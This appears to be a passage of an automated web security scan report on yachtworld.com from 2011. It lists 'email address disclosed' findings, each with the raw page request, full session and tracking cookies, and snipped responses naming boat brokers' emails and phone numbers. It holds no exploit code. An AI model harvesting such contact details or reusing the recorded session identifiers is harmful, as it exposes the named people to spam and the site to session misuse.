HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:18:48 GMT Server: Apache Cache-Control: public, max-age=315360000, post-check=315360000, pre-check=315360000 Last-Modified: Sun, 06 Nov 2005 12:00:00 GMT ETag: 2740050219 Expires: Wed, 27 Jan 2021 19:18:48 GMT P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Vary: User-Agent Content-Type: text/javascript; charset=UTF-8 Content-Length: 160642
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:19:07 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 91420
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<titl ...[SNIP]... string represents an atom (basically a series of non-special characters.) */ var atom=validChars + '+' /* The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john and doe are words. Basically, a word is either an atom or quoted string. */ var word="(" + atom + "|" + quotedUser + ")" // The following pattern describes the structure of the user var ...[SNIP]... <i>youremail@boats.com</i> ...[SNIP]...
The following email address was disclosed in the response:
klack@galatiyachts.com
Request
GET /core/listing/pl_boat_detail.jsp?hosturl=galatiyachts&checked_boats=2030202&featuredon=yw-en-TX&slot=1&slim=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:25:04 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- /opt/weblogic/waeyw/ywcluster ...[SNIP]... <center> Galati Yacht Sales, Destin at 850-259-1229 (cell) or klack@galatiyachts.com </i> ...[SNIP]...
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:38:09 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 16699
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- /opt/weblogic/waeyw/ywcluster ...[SNIP]... <br/> Contact Doug Frazer at (252) 473-2860, Mobile 252-305-9475 or e-mail DFrazer@BluewaterYachtSales.com </td> ...[SNIP]...
The following email addresses were disclosed in the response:
Justin@DenisonYachtSales.com
justin@denisonyachtsales.com
Request
GET /core/listing/pl_boat_detail.jsp?sponsored=true&units=Feet&checked_boats=2212114&slim=broker&&hosturl=denisonyachtsales&ywo=denisonyachtsales HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:26:17 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- /opt/weblogic/waeyw/ywcluster ...[SNIP]... <a href="mailto:Justin@DenisonYachtSales.com" title="Email Justin Onofrietti" style="text-decoration:none;color:#252f6a; border:none;">Justin@DenisonYachtSales.com</a> ...[SNIP]... ady to run. Don...t miss this rare opportunity to own an Immaculate 31' Center Console Sea Vee! She is easy to see 7 days a week. Schedule an appointment today, call Justin at 954.770.5281 or email at justin@denisonyachtsales.com</P> ...[SNIP]...
The following email address was disclosed in the response:
webmaster@yachtworld.com
Request
GET /core/listing/pl_boat_detail.jsp?checked_boats=2020426&hosturl=marinemaxcarolinas HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:26:27 GMT Server: Apache Cache-Control: private Content-Length: 10863 Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- /opt/weblogic/waeyw/ywcluster ...[SNIP]... <P> This boat can no longer be found in our database. Please try again. If you continue to get this message, please send the URL of the previous page to webmaster@yachtworld.com along with an explanation. Thank you.</p> ...[SNIP]...
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:27:30 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 21706
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The following email address was disclosed in the response:
webmaster@yachtworld.com
Request
GET /core/listing/pl_boat_full_detail.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 22:39:07 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!DOCTYPE html PUBLIC "-//W3C ...[SNIP]... <a href="mailto:webmaster@yachtworld.com">webmaster@yachtworld.com</a> ...[SNIP]...
The following email address was disclosed in the response:
webmaster@yachtworld.com
Request
GET /core/rendering/email-boat.htm HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
